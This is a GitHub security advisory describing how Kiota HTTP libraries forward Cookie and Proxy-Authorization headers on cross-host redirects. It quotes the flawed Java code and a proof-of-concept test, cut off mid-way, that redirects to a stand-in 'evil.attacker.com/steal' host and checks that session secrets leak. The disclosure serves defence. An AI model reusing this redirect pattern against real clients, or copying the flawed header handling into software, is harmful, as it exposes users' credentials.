GitHub Security Advisory: GHSA-7j59-v9qr-6fq9
Package: Microsoft.Kiota.Abstractions (NUGET)
Severity: HIGH (CVSS 0.0)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 1.22.0
Patched in: 1.22.0

Summary: Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

Details:
### Summary
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. 

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet
https://github.com/microsoft/kiota-java
https://github.com/microsoft/kiota-python
https://github.com/microsoft/kiota-typescript
https://github.com/microsoft/kiota-http-go


### Details
Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

```
boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}
```


### PoC
1. Clone the repository:
git clone --depth 1 https://github.com/microsoft/kiota-java.git
cd kiota-java

2. Create the PoC test file at:
components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:
```
package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServe